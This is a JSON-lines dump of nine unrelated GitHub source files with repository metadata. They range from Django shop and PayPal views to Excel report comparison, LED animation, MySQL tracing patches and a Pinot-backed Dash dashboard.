+{"seq_id":"73792523448","text":"import xml.etree.ElementTree as ET\n\nclass C():\n    \n    def __init__(self):\n        \n        self.root = ET.parse(\"mockdata.xml\").getroot()\n        \n    def m(self, n1, n2):\n        \n        counter = 0\n        \n        for family in self.root:\n            \n            if int(family.find(\"wife\").find(\"age\").text) >= n1 and len(family.find(\"children\").findall(\"name\")) >= n2:\n                \n                counter += 1\n                \n        return counter\n            \n            ","repo_name":"JuliaMekarska/PP1","sub_path":"Mock test 3/F8.py","file_name":"F8.py","file_ext":"py","file_size_in_byte":488,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"31247141615","text":"from django.shortcuts import render, redirect, get_object_or_404, reverse\nfrom django.views.generic import TemplateView, ListView, DetailView\nfrom django.contrib.auth import get_user_model\nfrom django.db import IntegrityError\nfrom django.conf import settings\nfrom django.views.decorators.csrf import csrf_exempt\n\nfrom paypal.standard.forms import PayPalPaymentsForm\n\nfrom .models import Product, Category, Profile, Order\nfrom .forms import RegistrationForm, ProfileForm\n\n\nclass MainTemplateView(ListView):\n\n    template_name = 'main/index.html'\n    context_object_name = 'products'\n    model = Product\n    queryset = Product.objects.all()[:9]\n    \n    def get_context_data(self, *, object_list=None, **kwargs):\n        context = super().get_context_data(object_list=object_list, **kwargs)\n        context['categories'] = Category.objects.all()\n        return context\n\n\nclass ProductDetailView(DetailView):\n\n    model = Product\n    queryset = Product.objects.all()\n    context_object_name  = 'product'\n    template_name = 'main/product_detail.html'\n\nclass AboutTemplateView(TemplateView):\n\n    template_name = 'main/about.html'\n\n\nclass ContactsTemplateView(TemplateView):\n\n    template_name = 'main/contacts.html'\n\n\nclass ProductsTemplateView(ListView):\n\n    template_name = 'main/products.html'\n    context_object_name = 'products'\n    model = Product\n    \n    def get_context_data(self, *, object_list=None, **kwargs):\n        context = super().get_context_data(object_list=object_list, **kwargs)\n        context['categories'] = Category.objects.all()\n        return context\n\n\ndef registration(request):\n    \n    if request.method == 'POST':\n\n        registrationForm = RegistrationForm(request.POST)\n        if registrationForm.is_valid():\n            User = get_user_model()\n          \n            user = User.objects.create_user(registrationForm.cleaned_data['email'],\n                                            registrationForm.cleaned_data['email'],\n                                            registrationForm.cleaned_data['password'])\n\n            profile = Profile(user=user,\n                              fio=registrationForm.cleaned_data['fio'],\n                              email=registrationForm.cleaned_data['email'],\n                              adress=registrationForm.cleaned_data['adress'])\n            profile.save()\n            return redirect('login')\n    else:\n        registrationForm = RegistrationForm()\n    return render(request, 'main/registration.html', {'form': registrationForm})\n\n\ndef ordering_process(request, product_id):\n\n    product = get_object_or_404(Product, id=product_id)\n\n    if request.user.is_authenticated:\n        order = Order(customer=request.user.profile,\n                      product=product)\n        \n        order.save()\n\n        return redirect('payment_process', order_id=order.id) # страница оплаты\n    \n    if request.method == 'POST':\n        form = ProfileForm(request.POST)\n\n        if form.is_valid():\n            profile = form.save()\n            order = Order(customer=profile,\n                      product=product)            \n            order.save()\n\n            return redirect('payment_process', order_id=order.id) # страница оплаты\n    else:\n        form = ProfileForm()\n    \n    return render(request, 'main/ordering_process.html', {'form': form})\n\n\ndef payment_process(request, order_id):\n    order = get_object_or_404(Order, id=order_id)\n    host = request.get_host()\n\n    paypal_dict = {\n        'business': settings.PAYPAL_RECEIVER_EMAIL,\n        'amount': order.get_price(),\n        'item_name': 'Order {}'.format(order.id),\n        'invoice': str(order.id),\n        'custom': str(order.customer.id),\n        'currency_code': 'USD',\n        'notify_url': 'http://{}{}'.format(host,\n                                           reverse('paypal-ipn')),\n        'return_url': 'http://{}{}'.format(host,\n                                           reverse('payment_done')),\n        'cancel_return': 'http://{}{}'.format(host,\n                                              reverse('payment_cancelled')),\n    }\n\n    form = PayPalPaymentsForm(initial=paypal_dict)\n    return render(request, 'main/payment_process.html', {'order': order, 'form': form})\n\n\n@csrf_exempt\ndef payment_done(request):\n    return render(request, 'main/payment_done.html')\n\n\n@csrf_exempt\ndef payment_canceled(request):\n    return render(request, 'main/payment_cancelled.html')","repo_name":"xsyo/rawbalance","sub_path":"main_app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4446,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"41845227709","text":"#!/usr/bin/python3\n''' this function send request to a URL and display the values\nof x-request-id variable found in the header'''\n\nimport urllib.request\nfrom sys import argv\n\nif __name__ == \"__main__\":\n    \"\"\"My status\"\"\"\n    url = argv[1]\n    req = urllib.request.Request(url)\n    with urllib.request.urlopen(req) as response:\n        r = response.headers\n        print(r['X-Request-Id'])\n","repo_name":"mauriciosierrac/holbertonschool-higher_level_programming","sub_path":"0x11-python-network_1/1-hbtn_header.py","file_name":"1-hbtn_header.py","file_ext":"py","file_size_in_byte":390,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"18000387137","text":"from django.shortcuts import render\n\nfrom django.http import HttpResponse\nfrom demo.cities.models import POIpoint\n\ndef cmain(request):\n    pois = POIpoint.objects.all()  # Getting all the POI from database\n    return render(request, 'client/cmain.html', { 'pois': pois })\n\ndef likePOI(request):\n    if request.method == 'GET':\n        poi_id = request.GET['poi_id']\n        print(poi_id)\n        num = int(poi_id)\n        pois = POIpoint.objects.all()\n        print(pois[num])\n\n        # likedpoi = POIpoint.obejcts(pk=poi_id) #getting the liked pois\n        # m = Like(post=likedpost) # Creating Like Object\n        # m.save()  # saving it to store in database\n        # return HttpResponse(pois[num]) # Sending an success response\n        return render(request, 'client/cmain.html', { 'poisnum': pois[num] })\n    else:\n        return HttpResponse(\"Request method is not a GET\")\n","repo_name":"finebrush/takeatripsDA","sub_path":"clientapp/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":880,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"24113756458","text":"import os\nimport numpy as np\nfrom image_filters import lee_filter, conservative_filter\nfrom crimmins import crimmins\nfrom PIL import Image\nfrom scipy.ndimage import median_filter\nfrom scipy.ndimage import gaussian_filter\n\n\ndirectory = r'D:\\OneDrive - University of Victoria\\Files\\Grad School\\Classes\\Machine Learning\\OCT2017'\nsave_dir = r'D:\\OneDrive - University of Victoria\\Files\\Grad School\\Classes\\Machine Learning\\OCT2017_crim'\n\n# directory = r'C:\\Users\\drich\\Downloads\\OCT2017'\n# save_dir = r'C:\\Users\\drich\\Downloads\\OCT2017_conv'\n\nfolders = ['train', 'test', 'val']\nsub_folders = ['CNV', 'DME', 'DRUSEN', 'NORMAL']\n\nfor i, folder in enumerate(folders):\n\n    for sub_folder in sub_folders:\n        path = os.path.join(directory, folder, sub_folder)\n        save_path = os.path.join(save_dir, folder, sub_folder)\n        os.makedirs(save_path, exist_ok=True)\n\n        files = [f for f in os.listdir(path) if os.path.isfile(os.path.join(path, f))]\n        files = np.array(files)\n\n        # Save the first img_per_sub imgs in the save location\n        for idx, file in enumerate(files):\n            if idx > 100:\n                break\n            loadfile = os.path.join(path, file)\n            savefile = os.path.join(save_path, file)\n            # print(loadfile)\n            # print(savefile)\n            # print()\n            img = Image.open(os.path.join(path, file))\n            img = np.array(img)\n            # img = lee_filter(img, 3)\n            # img = median_filter(img, size=3)\n            # img = conservative_filter(img, 3)\n            # img = gaussian_filter(img, sigma=2)\n            img = crimmins(img)\n            img = Image.fromarray(np.uint8(img))\n            img.save(savefile)\n","repo_name":"drichts/Machine_Learning","sub_path":"Project/filter_and_save.py","file_name":"filter_and_save.py","file_ext":"py","file_size_in_byte":1706,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"28383792521","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sun Oct 11 14:47:12 2020\r\n\r\n@author: heart\r\n\"\"\"\r\n\r\nimport pandas\r\nimport re\r\n\r\ndef compare_phi_6_3(infile1, infile2, summary_file, diff_file, header, index_col, model, report_generated, sk, aco_name, di_6_3, tot_change, null_change):\r\n \r\n    csk = sk.get_csk()\r\n    psk = sk.get_psk()\r\n\r\n    excel1 = pandas.read_excel(infile1, sheet_name=None, header=header, index_col=None)\r\n    excel2 = pandas.read_excel(infile2, sheet_name=None, header=header, index_col=None)\r\n\r\n    excel0 = pandas.read_excel(infile2, sheet_name=0, \r\n                                        header=None, \r\n                                        index_col=None, \r\n                                        nrows = 3,\r\n                                        convert_float = True, \r\n                                        dtype=\"object\")\r\n    \r\n    py = excel0.iloc[2,0]\r\n    \r\n    if model == 'PROGRAM1':\r\n        run_dt = excel0.iloc[1,13]\r\n    else:\r\n        run_dt = excel0.iloc[1,17]        \r\n  \r\n    ### Create excel output    \r\n    diff_writer = pandas.ExcelWriter(diff_file)\r\n    diff_book = diff_writer.book\r\n    red_format = diff_book.add_format({})\r\n    red_format.set_font_color('red')\r\n    \r\n    summary_writer = pandas.ExcelWriter(summary_file)\r\n    summary_book = summary_writer.book\r\n    count_format = summary_book.add_format({\"num_format\": \"#,##0\"})\r\n    left_align_format = summary_book.add_format()\r\n    left_align_format.set_align(\"left\")\r\n    pct_format = summary_book.add_format({\"num_format\": \"0.00%\"})   \r\n    \r\n    sheet_list_1 = list(excel1)\r\n    sheet_list_2 = list(excel2)\r\n    \r\n    for i in range(0, len(sheet_list_1)):\r\n        \r\n        name1 = sheet_list_1[i]\r\n        name2 = sheet_list_2[i]\r\n        \r\n        sheet1 = excel1[name1]\r\n        sheet2 = excel2[name2]\r\n        \r\n        if sheet1.iloc[0, 0] == \"PREF\":\r\n            provider_type = \"PREF\"\r\n        else:\r\n            provider_type = \"PART\"\r\n            \r\n        sheet1 = sheet1.loc[lambda df: df['Provider Type'] == provider_type, :]\r\n        sheet2 = sheet2.loc[lambda df: df['Provider Type'] == provider_type, :]\r\n        \r\n        if \"Physician\" in name1:\r\n            index_name = \"Individual NPI\"\r\n        else:\r\n            index_name = \"Organization NPI\"\r\n        \r\n        # remove duplicate records in previous month\r\n        previous_records = len(sheet1.index)\r\n        sheet1.drop_duplicates(index_name, inplace=True)\r\n        sheet1.set_index(index_name, inplace=True)\r\n        previous_duplicate_records = previous_records - len(sheet1.index)\r\n        \r\n        # remove duplicate records in current month\r\n        current_records = len(sheet2.index)\r\n        sheet2.drop_duplicates(index_name, inplace=True)\r\n        sheet2.set_index(index_name, inplace=True)\r\n        current_duplicate_records = current_records - len(sheet2.index)\r\n        \r\n        if previous_records == 0:\r\n            if current_records != 0:\r\n                di_6_3.collect_stats(aco_name, name1, f\"Current vs Previous > {tot_change}%\")\r\n        elif abs(current_records - previous_records) / previous_records > tot_change/100:\r\n            di_6_3.collect_stats(aco_name, name1, f\"Current vs Previous > {tot_change}%\")\r\n            \r\n            \r\n        # remove Unnamed columns\r\n        columns = list(sheet1.columns)\r\n        for c in sheet1.columns:\r\n            if isinstance(c, str) and \"Unnamed\" in c:\r\n                columns.remove(c)\r\n                \r\n        sheet1 = sheet1.loc[:, columns]\r\n        sheet2 = sheet2.loc[:, columns]\r\n        \r\n        print(\"Comparing sheet: \" + str(name1) + \", index: \" + str(index_name))\r\n                \r\n        merged = pandas.merge(sheet1, sheet2, left_index=True, right_index=True, how=\"outer\")\r\n        \r\n        # remove dupliate keys\r\n        rows = list(dict.fromkeys(merged.index))\r\n        \r\n        result_sheet = pandas.DataFrame(index = rows, columns = columns, dtype = 'object')\r\n        result_sheet.index.name = index_name\r\n        \r\n        both_records = 0\r\n        changed_records = 0\r\n        \r\n        result_sheet.to_excel(diff_writer, sheet_name = name1, index = True)\r\n        s = diff_writer.sheets[name1]\r\n        \r\n        for r in range(0, len(rows)):\r\n            row = rows[r]\r\n            if merged.loc[row, 'Provider Type_x'] == provider_type and merged.loc[row, 'Provider Type_y'] == provider_type:\r\n                both_records += 1\r\n                \r\n            changed = 0\r\n            for c in range(0, len(columns)):\r\n                col = columns[c]\r\n                cell1 = merged.loc[row, col + \"_x\"]\r\n                cell2 = merged.loc[row, col + \"_y\"]\r\n                \r\n                str1 = str(cell1)\r\n                str2 = str(cell2)\r\n                \r\n                ### Data cleaning\r\n                if \"incurred\" in col or \"amount\" in col:\r\n                    f1 = \"${:,.2f}\"\r\n                    f2 = \"${:,.2f}\"\r\n                    if isinstance(cell1, str):\r\n                        cell1 = cell1.replace(\"$\", \"\").replace(\",\", \"\")\r\n                        if \"(\" in cell1:\r\n                            # negative value\r\n                            cell1 = cell1.replace(\"(\", \"\").replace(\")\", \"\")\r\n                            cell1 = - float(cell1)\r\n                        else:\r\n                            cell1 = float(cell1)\r\n                    if isinstance(cell2, str):\r\n                        cell2 = cell2.replace(\"$\", \"\").replace(\",\", \"\")\r\n                        if \"(\" in cell2:\r\n                            # negative value\r\n                            cell2 = cell2.replace(\"(\", \"\").replace(\")\", \"\")\r\n                            cell2 = - float(cell2)\r\n                        else:\r\n                            cell2 = float(cell2)\r\n                else:\r\n                    if isinstance(cell1, float):\r\n                        f1 = \"{:,.0f}\"\r\n                    else:\r\n                        f1 = \"{}\"\r\n                        \r\n                    if isinstance(cell2, float):\r\n                        f2 = \"{:,.0f}\"\r\n                    else:\r\n                        f2 = \"{}\"\r\n                                    \r\n                try:\r\n                    if str1 == 'nan' and str2 == 'nan':\r\n                        #result_sheet.loc[row, col] = \"\"\r\n                        s.write(r + 1, c + 1, \"\")\r\n                    \r\n                    elif str1 == 'nan':\r\n                        #result_sheet.loc[row, col] = (\"None => \" + f2).format(cell2)\r\n                        s.write(r + 1, c + 1, (\"None => \" + f2).format(cell2))\r\n                        changed = 1\r\n                    \r\n                    elif str2 == 'nan':\r\n                        #result_sheet.loc[row, col] = (f1 + \" => None\").format(cell1)\r\n                        s.write(r + 1, c + 1, (f1 + \" => None\").format(cell1))\r\n                        changed = 1\r\n                    \r\n                    elif cell1 != cell2:\r\n                        changed = 1\r\n                        if isinstance(cell1, str) or isinstance(cell2, str) or cell1 == 0:\r\n                            #result_sheet.loc[row, col] = (f1 + \" => \" + f2).format(cell1, cell2)\r\n                            s.write(r + 1, c + 1, (f1 + \" => \" + f2).format(cell1, cell2))\r\n                        else:\r\n                            diff = (cell2-cell1)/cell1\r\n                            if diff < -0.5 or diff > 0.5:\r\n                                #result_sheet.loc[row, col] = \"{:.2%}\".format((cell2-cell1)/cell1)\r\n                                s.write(r + 1, c + 1, \"{:.2%}\".format(diff), red_format)\r\n                            else:\r\n                                s.write(r + 1, c + 1, \"{:.2%}\".format(diff))\r\n\r\n                    else:\r\n                        #result_sheet.loc[row, col] = f1.format(cell1)\r\n                        s.write(r + 1, c + 1, f1.format(cell1))\r\n                except ValueError as e:\r\n                    print(\"error: \" + str(e))\r\n                    print(\"sheet: \" + name1 + \", NPI: \" + str(row) + \", column: \" + str(col) + \", cell1: \" + str1 + \", cell2: \" + str2)\r\n                    #result_sheet.loc[row, col] = f1.format(cell1)\r\n                    break\r\n                \r\n            if changed == 1:\r\n                changed_records += 1\r\n        \r\n\r\n        s.set_column(0, 1, 20)\r\n        s.set_column(2, 2, 10)\r\n        s.set_column(3, 3, 50)\r\n        s.set_column(4, 13, 40)\r\n\r\n\r\n        \r\n        summary = pandas.DataFrame({\r\n                'Type': ['Records in Previous Month',\r\n                         'Records in Current Month',\r\n                         'Records in Both Months',\r\n                         'Records in Previous Month Only',\r\n                         'Records in Current Month Only',\r\n                         'Duplicate Records in Previous Month',\r\n                         'Duplicate Records in Current Month',\r\n                         'Records Changed'],\r\n                'Count': [previous_records,\r\n                          current_records,\r\n                          both_records,\r\n                          previous_records - both_records,\r\n                          current_records - both_records,\r\n                          previous_duplicate_records,\r\n                          current_duplicate_records,\r\n                          changed_records]\r\n                })\r\n\r\n \r\n    \r\n        summary.to_excel(summary_writer, sheet_name = name1, index=False, startrow=1)\r\n\r\n        workbook = summary_writer.book\r\n        merge_format = workbook.add_format({'align': 'left'})\r\n        wrap_format = workbook.add_format()\r\n        wrap_format.set_text_wrap()\r\n\r\n        header = f\"Report 6-3\\nSK used:  {csk}\\n{py}\\nRun date: {run_dt}\"\r\n        di_6_3.set_header(header)\r\n\r\n        summary_sheet = summary_writer.sheets[name1]\r\n        summary_sheet.merge_range('A1:B1', header, wrap_format)\r\n        summary_sheet.set_row(0, 50)\r\n        summary_sheet.set_column(\"A:A\", 60)\r\n        summary_sheet.set_column(\"B:B\", 18, count_format)\r\n\r\n        # remove Unnamed columns\r\n        dfcols = list(sheet2.columns)\r\n        for c in sheet2.columns:\r\n            if isinstance(c, str) and \"Unnamed\" in c:\r\n                dfcols.remove(c)\r\n    \r\n        sheet2 = sheet2.loc[:, dfcols]\r\n        \r\n        df_null = sheet2.isnull().sum()\r\n        df_nnull = sheet2.notnull().sum()\r\n        null_pct = list(range(0, len(df_null)))\r\n        \r\n    \r\n        for i in range(0, len(df_null)):\r\n            if df_null[i] + df_nnull[i] == 0:\r\n                null_pct[i] = 0\r\n            else:\r\n                null_pct[i] = df_null[i] / (df_null[i] + df_nnull[i]) \r\n                if null_pct[i] > null_change/100:\r\n                    di_6_3.collect_stats(aco_name, name1, dfcols[i] + f\" % of Null > {null_change}%\")\r\n    \r\n        freq = pandas.DataFrame({\r\n              'Varaibles in File': dfcols,\r\n              '# of Not Null':df_nnull,\r\n              '# of Null': df_null,\r\n              '% of Null': null_pct\r\n                    })\r\n       \r\n        freq.to_excel(summary_writer, sheet_name = name1 + \"_missing\", index=False, startrow=1)\r\n        freq_sheet = summary_writer.sheets[name1 + \"_missing\"]\r\n        freq_sheet.merge_range('A1:D1', header, wrap_format)\r\n        freq_sheet.set_row(0, 50)\r\n        freq_sheet.set_column(\"A:A\", 40, left_align_format)\r\n        freq_sheet.set_column(\"B:B\", 18, count_format)\r\n        freq_sheet.set_column(2, 2, 18, count_format)\r\n        freq_sheet.set_column(3, 3, 18, pct_format)\r\n        \r\n        if model == 'PROGRAM1':\r\n            report_generated.set_header(header)\r\n        \r\n    diff_writer.save()\r\n    summary_writer.save()\r\n        \r\n","repo_name":"placidworld/Python-Application-for-Reports","sub_path":"compare_phi_6_3.py","file_name":"compare_phi_6_3.py","file_ext":"py","file_size_in_byte":11656,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"6917762060","text":"import bibliopixel.colors as colors\nimport random\n\nfrom bibliopixel.animation import BaseMatrixAnim\nclass Fire(BaseMatrixAnim):\n    def __init__(self, led, start=0, end=-1, color = colors.Yellow):\n        #The base class MUST be initialized by calling super like this\n        super(Fire, self).__init__(led, start, end)\n        self._buffer = [[[0.0 for x in range(led.height)] for x in range(led.width)] for x in range(2)]\n        self._led = led\n        self._color = color\n\n    def step(self, amt = 1):\n        led = self._led\n        if self._step % 5 == 0:\n            index0 = (self._step / 10) % 2\n            index1 = ((self._step / 10) + 1) %2\n            for y in range(led.height):\n                for x in range(led.width):\n                    p = 0\n                    n = 0\n                    if x - 1 >= 0:\n                        p += self._buffer[index0][x - 1][y]\n                        n += 1\n                    if x + 1 < led.width:\n                        p += self._buffer[index0][x + 1][y]\n                        n += 1\n\n                    if y - 1 >= 0:\n                        p += self._buffer[index0][x][y - 1]\n                        n += 1\n\n                    if y + 1 < led.height:\n                        p += self._buffer[index0][x][y + 1]\n                        n += 1\n\n                    p = p / n - random.uniform(0.0, 0.2)\n                    if p < 0:\n                        p = 0\n\n                    if y + 1 < led.height:\n                        self._buffer[index1][x][y + 1] = p\n            for x in range(led.width):\n                self._buffer[index1][x][0] = random.uniform(0.5, 1.0)\n\n            for y in range(led.height):\n                for x in range(led.width):\n                    value = int(self._buffer[index1][x][y] * 255)\n                    color = colors.color_scale(self._color, value)\n                    led.setRGB(x, y, color[0], color[1], color[2])\n\n        self._step += amt\n","repo_name":"hebrinkmann/lights","sub_path":"fire.py","file_name":"fire.py","file_ext":"py","file_size_in_byte":1950,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"38070872637","text":"from typing import Optional\nfrom ._db_span import db_span\nfrom ._const import BEGIN, COMMIT, ROLLBACK, MYSQLDB\nfrom typing import Any, Callable, TypeVar\nfrom functools import wraps\nfrom tortoise.exceptions import (\n    IntegrityError,\n    OperationalError,\n)\n\ntry:\n    import tortoise.backends.mysql\n    import pymysql\nexcept ImportError:\n    pass\nelse:\n    _tortoise_mysql_client_execute_query = (\n        tortoise.backends.mysql.client.MySQLClient.execute_query\n    )\n    _tortoise_mysql_client_execute_insert = (\n        tortoise.backends.mysql.client.MySQLClient.execute_insert\n    )\n    \"\"\"transaction\"\"\"\n    _tortoise_mysql_client_execute_many = (\n        tortoise.backends.mysql.client.TransactionWrapper.execute_many\n    )\n    _tortoise_mysql_client_start = (\n        tortoise.backends.mysql.client.TransactionWrapper.start\n    )\n    _tortoise_mysql_client_commit = (\n        tortoise.backends.mysql.client.TransactionWrapper.commit\n    )\n    _tortoise_mysql_client_rollback = (\n        tortoise.backends.mysql.client.TransactionWrapper.rollback\n    )\n\nFuncType = Callable[..., Any]\nF = TypeVar(\"F\", bound=FuncType)\n\n\ndef translate_exceptions(func: F) -> F:\n    @wraps(func)\n    async def translate_exceptions_(self, *args):\n        try:\n            return await func(self, *args)\n        except (\n            pymysql.err.OperationalError,\n            pymysql.err.ProgrammingError,\n            pymysql.err.DataError,\n            pymysql.err.InternalError,\n            pymysql.err.NotSupportedError,\n        ) as exc:\n            raise OperationalError(exc)\n        except pymysql.err.IntegrityError as exc:\n            raise IntegrityError(exc)\n\n    return translate_exceptions_  # type: ignore\n\n\nitem_list = [\n    \"_tortoise_mysql_client_execute_query\",\n    \"_tortoise_mysql_client_execute_insert\",\n    \"_tortoise_mysql_client_execute_many\",\n    \"_tortoise_mysql_client_start\",\n    \"_tortoise_mysql_client_commit\",\n    \"_tortoise_mysql_client_rollback\",\n]\n\n\nasync def mysql_execute_query_wrapper(\n    self, query: str, values: Optional[list] = None\n):\n    with await db_span(self, query, db_instance=MYSQLDB):\n        return await _tortoise_mysql_client_execute_query(self, query, values)\n\n\nasync def mysql_execute_insert_wrapper(self, query: str, values: list):\n    with await db_span(self, query, db_instance=MYSQLDB):\n        return await _tortoise_mysql_client_execute_insert(self, query, values)\n\n\n@translate_exceptions\nasync def mysql_execute_many(self, query: str, values: Optional[list] = None):\n    async with self.acquire_connection() as connection:\n        self.log.debug(\"%s: %s\", query, values)\n        async with connection.cursor() as cursor:\n            if self.capabilities.supports_transactions:\n                with await db_span(self, query=BEGIN, db_instance=MYSQLDB):\n                    await connection.begin()\n                try:\n                    with await db_span(self, query, db_instance=MYSQLDB):\n                        await cursor.executemany(query, values)\n                except Exception:\n                    with await db_span(\n                        self, query=ROLLBACK, db_instance=MYSQLDB\n                    ):\n                        await connection.rollback()\n                    raise\n                else:\n                    with await db_span(\n                        self, query=COMMIT, db_instance=MYSQLDB\n                    ):\n                        await connection.commit()\n            else:\n                with await db_span(self, query, db_instance=MYSQLDB):\n                    await cursor.executemany(query, values)\n\n\n\"\"\"transaction\"\"\"\n\n\nasync def mysql_execute_many_wrapper(self, query: str, values: list):\n    with await db_span(self, query=query, db_instance=MYSQLDB):\n        return await _tortoise_mysql_client_execute_many(self, query, values)\n\n\nasync def mysql_trans_start_wrapper(self):\n    with await db_span(self, query=BEGIN, db_instance=MYSQLDB):\n        return await _tortoise_mysql_client_start(self)\n\n\nasync def mysql_trans_commit_wrapper(self):\n    with await db_span(self, query=COMMIT, db_instance=MYSQLDB):\n        return await _tortoise_mysql_client_commit(self)\n\n\nasync def mysql_trans_rollback_wrapper(self):\n    with await db_span(self, query=ROLLBACK, db_instance=MYSQLDB):\n        return await _tortoise_mysql_client_rollback(self)\n\n\ndef install_patch():\n    if any(item not in globals() for item in item_list):\n        raise Exception(\"aiomysql patch install fail\")\n    tortoise.backends.mysql.client.MySQLClient.execute_query = (\n        mysql_execute_query_wrapper\n    )\n    tortoise.backends.mysql.client.MySQLClient.execute_insert = (\n        mysql_execute_insert_wrapper\n    )\n    tortoise.backends.mysql.client.MySQLClient.execute_many = (\n        mysql_execute_many\n    )\n    \"\"\"transaction\"\"\"\n    tortoise.backends.mysql.client.TransactionWrapper.execute_many = (\n        mysql_execute_many_wrapper\n    )\n    tortoise.backends.mysql.client.TransactionWrapper.start = (\n        mysql_trans_start_wrapper\n    )\n    tortoise.backends.mysql.client.TransactionWrapper.commit = (\n        mysql_trans_commit_wrapper\n    )\n    tortoise.backends.mysql.client.TransactionWrapper.rollback = (\n        mysql_trans_rollback_wrapper\n    )\n","repo_name":"wesdu/fastapi-opentracing","sub_path":"fastapi_opentracing/client_hooks/mysql_client.py","file_name":"mysql_client.py","file_ext":"py","file_size_in_byte":5234,"program_lang":"python","lang":"en","doc_type":"code","stars":21,"dataset":"github-code","pt":"77"}
+{"seq_id":"23099607744","text":"import pandas as pd\nfrom dash import Dash, html, dcc, Input, Output\nimport plotly.graph_objects as go\nfrom pinotdb import connect\nfrom dash_utils import add_delta_trace, add_trace\nimport plotly.express as px\nimport datetime\n\nexternal_stylesheets = ['https://codepen.io/chriddyp/pen/bWLwgP.css']\napp = Dash(__name__, external_stylesheets=external_stylesheets)\napp.title = \"Wiki Recent Changes Dashboard\"\n\nconnection = connect(host=\"localhost\", port=\"8099\", path=\"/query/sql\", scheme=( \"http\"))\n\n\n@app.callback(Output(component_id='indicators', component_property='figure'),\n              Input('interval-component', 'n_intervals'))\ndef indicators(n):\n    # Find changes that happened in the last 1 minute\n    # Find changes that happened between 1 and 2 minutes ago\n    query = \"\"\"\n    select count(*) FILTER(WHERE  ts > ago('PT1M')) AS events1Min,\n        count(*) FILTER(WHERE  ts <= ago('PT1M') AND ts > ago('PT2M')) AS events1Min2Min,\n        distinctcount(user) FILTER(WHERE  ts > ago('PT1M')) AS users1Min,\n        distinctcount(user) FILTER(WHERE  ts <= ago('PT1M') AND ts > ago('PT2M')) AS users1Min2Min,\n        distinctcount(domain) FILTER(WHERE  ts > ago('PT1M')) AS domains1Min,\n        distinctcount(domain) FILTER(WHERE  ts <= ago('PT1M') AND ts > ago('PT2M')) AS domains1Min2Min\n    from wikievents \n    where ts > ago('PT2M')\n    limit 1\n    \"\"\"\n\n    curs = connection.cursor()\n    curs.execute(query)\n    df_summary = pd.DataFrame(curs, columns=[item[0] for item in curs.description])\n    curs.close()\n\n    fig = go.Figure(layout=go.Layout(height=300))\n    if df_summary[\"events1Min\"][0] > 0:\n        if df_summary[\"events1Min\"][0] > 0:\n            add_delta_trace(fig, \"Changes\", df_summary[\"events1Min\"][0], df_summary[\"events1Min2Min\"][0], 0, 0)\n            add_delta_trace(fig, \"Users\", df_summary[\"users1Min\"][0], df_summary[\"users1Min2Min\"][0], 0, 1)\n            add_delta_trace(fig, \"Domain\", df_summary[\"domains1Min\"][0], df_summary[\"domains1Min2Min\"][0], 0, 2)\n        else:\n            add_trace(fig, \"Changes\", df_summary[\"events1Min\"][0], 0, 0)\n            add_trace(fig, \"Users\", df_summary[\"users1Min2Min\"][0], 0, 1)\n            add_trace(fig, \"Domains\", df_summary[\"domains1Min2Min\"][0], 0, 2)\n        fig.update_layout(grid = {\"rows\": 1, \"columns\": 3,  'pattern': \"independent\"},) \n    else:\n        fig.update_layout(annotations = [{\"text\": \"No events found\", \"xref\": \"paper\", \"yref\": \"paper\", \"showarrow\": False, \"font\": {\"size\": 28}}])\n    return fig\n\n@app.callback(Output(component_id='time-series', component_property='figure'),\n              Input('interval-component', 'n_intervals'))\ndef time_series(n):\n    query = \"\"\"\n    select ToDateTime(DATETRUNC('MINUTE', ts), 'yyyy-MM-dd hh:mm:ss') AS dateMin, count(*) AS changes, \n        distinctcount(user) AS users,\n        distinctcount(domain) AS domains\n    from wikievents \n    where ts > ago('PT1H')\n    group by dateMin\n    order by dateMin desc\n    LIMIT 30\n    \"\"\"\n\n    curs = connection.cursor()\n    curs.execute(query)\n    df_ts = pd.DataFrame(curs, columns=[item[0] for item in curs.description])\n    curs.close()\n\n    df_ts_melt = pd.melt(df_ts, id_vars=['dateMin'], value_vars=['changes', 'users', 'domains'])\n\n    line_chart = px.line(df_ts_melt, x='dateMin', y=\"value\", color='variable', color_discrete_sequence =['blue', 'red', 'green'])\n    line_chart['layout'].update(margin=dict(l=0,r=0,b=0,t=40), title=\"Changes/Users/Domains per minute\")\n    line_chart.update_yaxes(range=[0, df_ts[\"changes\"].max() * 1.1])\n    return line_chart\n\n@app.callback(\n    Output(component_id='latest-timestamp', component_property='children'),\n    Input('interval-component', 'n_intervals'))\ndef timestamp(n):\n    return html.Span(f\"Last updated: {datetime.datetime.now()}\")\n\napp.layout = html.Div([\n    html.H1(\"Wiki Recent Changes Dashboard\", style={'text-align': 'center'}),\n    html.Div(id='latest-timestamp', style={\"padding\": \"5px 0\", \"text-align\": \"center\"}),\n    dcc.Interval(\n            id='interval-component',\n            interval=1 * 1000,\n            n_intervals=0\n        ),\n    html.Div(id='content', children=[\n        dcc.Graph(id=\"indicators\"),\n        dcc.Graph(id=\"time-series\"),\n    ])\n])\n\nif __name__ == '__main__':\n    app.run_server(debug=True)\n","repo_name":"mneedham/pinot-wiki","sub_path":"plotly_dash/dashboard_v2.py","file_name":"dashboard_v2.py","file_ext":"py","file_size_in_byte":4254,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"77"}
